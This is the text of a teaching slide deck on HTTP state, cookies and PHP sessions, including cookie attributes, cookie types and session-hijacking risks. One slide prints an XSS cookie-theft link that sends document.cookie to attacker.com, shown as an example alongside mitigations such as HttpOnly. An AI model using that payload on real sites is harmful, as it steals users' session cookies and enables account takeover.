2. HTTP
HTTP is a stateless protocol.
Does not remember what happened between two
consecutive requests.
Even two Requests made by same user are different
for HTTP.
HTTP just processes a client REQUEST and
supplies the server RESPONSE.
3. We need:-
To maintain state.
To maintain state means the ability to retain values
of variables and to keep track of users who are
logged into the system.
To distinguish one user from Other.
To save user Preferences.
Common example: Shopping carts.
4. Methods for maintaining state
Cookies
Sessions
Passing [hidden] variables
We writing the URL
5. Why not any other method
Although many details about the user (such as their
browser, IP address and operating system) are
available But because of
the use of dynamic IP addresses (which change every
time the user logs on)
IP address sharing (so that many people share the same
IP)
there is no reliable way of recognizing a particular
user when they re-visit a website.
6. Cookies
A cookie is a small piece of data sent from a website
and stored in a user's web browser which can be
later retrieved by the website.
Also known as an HTTP cookie, web cookie, or
browser cookie.
Max size of a cookie is 4kB.
Each browser stores at least 300 cookies in total
and at least 20 cookies per server or domain.
7. A little about cookie’s origin [aka History]
The term "cookie" was derived from "magic cookie",
which is the packet of data a program receives and
sends again unchanged.
Lou Montulli (an employee at Netscape
Communications) had the idea of using them in Web
communications in June 1994.
He used cookie to create a Virtual Shopping Cart.
8. Uses of Cookies
Common uses for cookies are authentication, storing
of site preferences, shopping cart items, and server
session identification.
Ex
Google uses cookies to provide customized pages and
search results to their users.
StackOverFlow uses cookies to log in their users
automatically.
Visitor tracking and statistics systems often use them to
track visitors.
Google uses cookies to display interest Preferenced
advertisement to the visitor using cookies in aDsense.
9. How it works
Browser only sends the Name and Value of cookie with
the request.
10. Ingredients of a Cookie..
General SYNTAX
Cookie(Name, Value, exp.
Time, path, domain, secure, httponly)
Name: The name of the cookie. This name is used by the
website to refer to it. The name should be unique to the
website, but it doesn't matter if it clashes with the name of a
cookie from another website.
Value: The value of the cookie. This value is stored on the
clients computer; do not store sensitive information.
Expire: The time the cookie expires. This is a Unix timestamp
so is in number of seconds. In other words, you'll most likely
set this with the time() function plus the number of seconds
before you want it to expire. If set to 0, or omitted, the cookie
will expire at the end of the session (when the browser closes).
11. Ingredients of a Cookie..(cont..)
Path: The path on the server in which the cookie will
be available on. If set to '/', the cookie will be
available within the entire domain. If set to '/foo/', the
cookie will only be available within the /foo/ directory
and all sub-directories such as /foo/bar/ of domain.
The default value is the current directory that the
cookie is being set in.
Domain: The domain that the cookie is available to.
Setting the domain to 'www.example.com' will make
the cookie available in the www subdomain and
higher subdomains.
12. Ingredients of a Cookie..(cont..)
Secure: Indicates that the cookie should only be
transmitted over a secure HTTPS connection from
the client. When set to TRUE, the cookie will only be
set if a secure connection exists.
Httponly: When TRUE the cookie will be made
accessible only through the HTTP protocol. This
means that the cookie won't be accessible by
scripting languages, such as JavaScript. It has been
suggested that this setting can effectively help to
reduce identity theft through XSS attacks
13. Types Of Cookies
Session cookie
A user's session cookie (also known as an in-memory cookie or
transient cookie) for a website exists in temporary memory only
while the user is reading and navigating the website. When an
expiry date or validity interval is not set at cookie creation time, a
session cookie is created. Web browsers normally delete
session cookies when the user closes the browser.
Persistent cookie
A persistent cookie will outlast user sessions. If a persistent
cookie has its Max-Age set to 1 year, then, within the year, the
initial value set in that cookie would be sent back to the server
every time the user visited the server. This could be used to
record a vital piece of information such as how the user initially
came to this website. For this reason persistent cookies are also
called tracking cookies.
14. Types Of Cookies…
Secure cookie
A secure cookie has the secure attribute enabled and is
only used via HTTPS, ensuring that the cookie is always
encrypted when transmitting from client to server.
HttpOnly cookie
On a supported browser, an HttpOnly session cookie will
be used only when transmitting HTTP (or HTTPS)
requests, thus restricting access from other, non-HTTP
APIs (such as JavaScript).
15. Types Of Cookies…
Third-party cookie
First-party cookies are cookies set with the same domain (or its
subdomain) as your browser's address bar. Third-party cookies
are cookies set with domains different from the one shown on
the address bar. The web pages on the first domain may
feature content from a third-party domain, e.g. a banner advert
run by www.advexample.com.
As an example, suppose a user visits
www.example1.com, which includes an advert which sets a
cookie with the domain ad.foxytracking.com. When the user
later visits www.example2.com, another advert can set another
cookie with the domain ad.foxytracking.com. Eventually, both of
these cookies will be sent to the advertiser when loading their
ads or visiting their website. The advertiser can then use these
cookies to build up a browsing history of the user across all the
websites this advertiser has footprints on.
16. Types Of Cookies…
Supercookie:
A "supercookie" is a cookie with a public suffix domain, like
.com, .co.uk
A supercookie with domain .com would be blocked by
browsers; otherwise, a malicious website, like
attacker.com, could set a supercookie with domain .com and
get cookies of example.com.
Zombie cookie
Some cookies are automatically recreated after a user has
deleted them; these are called zombie cookies.
This is accomplished by a script storing the content of the
cookie in some other locations, such as the local storage
available to Flash content and HTML5 storages and then
recreating the cookie from backup stores when the cookie's
absence is detected.
17. Implementation Using Php
To set a cookie use
setcookie("UsersName", $name, time()+3600, "/", ".mysite.c
om", 1,1);
It should be used before sending any output to the page.
To Read Cookie Values
$_COOKIE['CookieName'];
$_REQUEST['CookieName'];
To Destroy a cookie
setcookie("user", "", time()-3600);
setcookie("UsersName", "", mktime(12,0,0,1, 1, 1990));
19. Cookie security and privacy issues
Cookies are NOT viruses. Cookies use a plain text
format. They are not compiled pieces of code so
they cannot be executed nor are they self-executing.
Cookies CAN be used for malicious purposes
though. Since they store information about a user's
browsing preferences and history, both on a specific
site and browsing among several sites, cookies can
be used to act as a form of spyware.
20. Cookie theft and session hijacking
Network eavesdropping
Traffic on a network can be intercepted and read by
computers on the network other than the sender and
receiver (particularly over unencrypted open Wi-Fi).
This traffic includes cookies sent on ordinary unencrypted
HTTP sessions.
An attacker could use intercepted cookies to impersonate
a user and perform a malicious task, such as transferring
money.
This issue can be resolved by specifying the Secure flag
while setting a cookie, which will cause the browser to
send the cookie only over an encrypted channel.
21. Cookie theft and session hijacking
Publishing false sub-domain – DNS cache poisoning
Via DNS cache poisoning, an attacker might be able to cause a
DNS server to cache a fabricated DNS entry, say
f12345.www.example.com with the attacker’s server IP address.
Since f12345.www.example.com is a sub-domain of
www.example.com, victims’ browsers would submit all
example.com-related cookies to the attacker’s server;
This vulnerability is usually for Internet Service Providers to fix, by
securing their DNS servers
But it can also be mitigated if www.example.com is using Secure
cookies.
Victims’ browsers will not submit Secure cookies if the attacker is
not using encrypted connections.
If the attacker chose to use HTTPS, he would have the challenge
of obtaining an SSL certificate for f12345.www.example.com from
a Certificate Authority.
Without a proper SSL certificate, victims’ browsers would display
(usually very visible) warning messages about the invalid
certificate.
22. Cookie theft and session hijacking
Cross-site scripting – cookie theft
Scripting languages such as JavaScript are usually allowed to access cookie
values and have some means to send arbitrary values to arbitrary servers on
the Internet.
These facts are used in combination with sites allowing users to post HTML
content that other users can see.
As an example, an attacker may post a message on www.example.com with the
following link:
<a href="#" onclick="window.location='http://attacker.com/stole.cgi?text='+escape(document.cookie);
return false;">Click here!</a>
When another user clicks on this link, the browser executes the piece of code
within the onclick attribute, thus replacing the string document.cookie with the
list of cookies of the user that are active for the page.
When another user clicks on this link, list of cookies is sent to the attacker.com
server. If the attacker’s posting is on https://www.example.com/somewhere,
secure cookies will also be sent to attacker.com in plain text.
It is the responsibility of the website developers to filter out such malicious code.
Such attacks can be mitigated by using HttpOnly cookies.
23. Key tips for safe and responsible cookie-
based Web browsing
Install and keep antispyware applications
updated
Many spyware detection, cleanup applications, and
spyware removers include attack site detection. They
block your browser from accessing websites designed to
exploit browser vulnerabilities or download malicious
software.
Make sure your browser is updated
If you haven't already, set your browser to update
automatically. This eliminates security vulnerabilities
caused by outdated browsers. Many cookie-based
exploits are based on exploiting older browsers' security
shortcomings.
24. Session
Session support consists of a way to preserve
certain data across subsequent accesses.
A visitor accessing the web site is assigned a unique
id, the so-called session id.
This is either stored in a cookie on the user side or is
propagated in the URL.
The rest of the information and variables are stored
on server.
Session variables hold information about one single
user, and are available to all pages in one
application.
In PHP the session support allows to store data
between requests in the $_SESSION superglobal
array.
25. Session V/S Cookies
A session retains data for the duration of the session.
A cookie retains values for as long as you need it to.
Cookies should be used to store simple data for a long
period of time. If one go to the website a lot, they might
want their username to be remembered for them, so it
can be stored as a cookie.
Critical and private data should not be stored in cookie
instead sessions should be used.
Cookies can be any time altered by User.
Cookie might be disabled On a system so Sessions
employing URL can be used.
Cookies can be any time altered by User.
Cookies are sent with each request so a lot of cookies
can slow down the process.
26. Php Session.
Starting a PHP Session
<?php session_start(); ?>
The session_start() function must appear BEFORE the
<html> tag
Storing a Session Variable
$_SESSION['views']=1;
Destroying a Session
unset($_SESSION['views']); --used to free the specified
session variable
session_destroy(); --reset the session and delete all stored
session data.
27. Some pitfalls
If we write session_id in url:
one might save the offline page as a bookmark or pass
the link across to others not realizing that the session id
information is also sent. (session fixation.)
So someone who quickly accesses these pages could
possible get logged on.
To prevent this we can use cookies
But this could cause problems when dealing with
transaction which involve switch sites, i.e. siteA forwards
to site B for payment which forwards to siteA for thank
you, in which case a phpsessid inform might be used to
revive the old session.
28. Some tips:
- Ensure you always use a new self generated session
id on successful login attempt.
- Use https throughout to ensure no one can sniff your
session id.
- Store session id, remote IP information and compare
for successive pages.